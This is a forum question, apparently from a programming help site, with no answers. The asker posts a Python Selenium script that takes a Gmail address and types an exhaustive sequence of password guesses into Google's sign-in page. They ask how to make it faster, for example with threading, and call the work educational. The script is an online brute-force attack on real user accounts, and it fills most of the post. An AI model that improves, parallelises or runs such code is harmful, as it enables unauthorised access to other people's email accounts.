How can i speed up Gmail Brute Force

Viewed 53

This is a gmail bruteforcer made with python selenium, don't worry gmail has a captcha so the script can't hack gmail account. Right now, the bruteforcer is really slow, so I want to speed up the bruteforcer. I don't want to hack anyone and everything I do, I do for educational purposes. i have tried threading method, but it's not working. Can you help me please.

import smtplib as s
import time
import logging
import os
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

from colorama import init
from colorama import Fore, Back, Style
init()

print(Fore.YELLOW)
gmailacc = input('[+]Gmail:')
print(Fore.RESET)

driver = webdriver.Chrome("chromedriver.exe")

driver.get("https://accounts.google.com/")

driver.find_element("name","identifier").send_keys(gmailacc)#Gmail

driver.find_element('xpath','//*[@id="identifierNext"]/div/button').click()


time.sleep(4)

ch = ["","q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "A", "S", "D", "F", "G", "H", "J", "K", "L", "Z", "X", "C", "V", "B", "N", "M", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "~", "`", "!", "@", "#", "$", "%", "^", "&", "*", ')', '(', "-", "_", "+", "=", '}', '{', ']', '[', ":", ";", '"', "'", '>', '<', ",", ".", "?", "/", "|"]

#94
print(Fore.YELLOW)

length = int(input('[+]length:'))
print(Fore.RESET)

nm =[[1], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0], [0]]

if length < 19 and length > 0:
    nm[length - 1][0] = 1
    if length - 2 >= 0:
        a = 2
        while length != a:
            nm[length - a][0] = 1
            a = a + 1
    run = True
else:
    print ("sorry can't help, password length must be greater than 0 and less than 19")
    input ("press ENTER to start")
    run = True

i = 0


while run == True:

    passwd = (ch[nm[0][0]]+ch[nm[1][0]]+ch[nm[2][0]]+ch[nm[3][0]]+ch[nm[4][0]]+ch[nm[5][0]]+ch[nm[6][0]]+ch[nm[7][0]]+ch[nm[8][0]]+ch[nm[9][0]]+ch[nm[10][0]]+ch[nm[11][0]]+ch[nm[12][0]]+ch[nm[13][0]]+ch[nm[14][0]]+ch[nm[15][0]]+ch[nm[16][0]]+ch[nm[17][0]])
    
    nm[0][0]=nm[0][0] + 1
    
    print(passwd)
    #print(Fore.GREEN + Style.BRIGHT + '[+] logged in       ' + Fore.RESET + Style.RESET_ALL + passwd) #passed
    #print(Fore.RED + Style.BRIGHT + '[-] Filed to login  ' + Fore.RESET + Style.RESET_ALL + passwd) #failed
    run = False
    #driver.implicitly_wait(5)
    

    driver.find_element('xpath','//*[@id="password"]/div[1]/div/div[1]/input').send_keys(passwd )

    driver.find_element('xpath','//*[@id="passwordNext"]/div/button').click()
    
    time.sleep(1)
    
    
    run = True
    if nm[0][0] == 94:
        run = False
        while i < 17:
            if nm[i][0] == 94:
                nm[i+1][0] = nm[i+1][0] + 1
                nm[i][0] = 1
            i=i+1
        i=0
        run = True
        
        
        
    
    
    

0 Answers
Related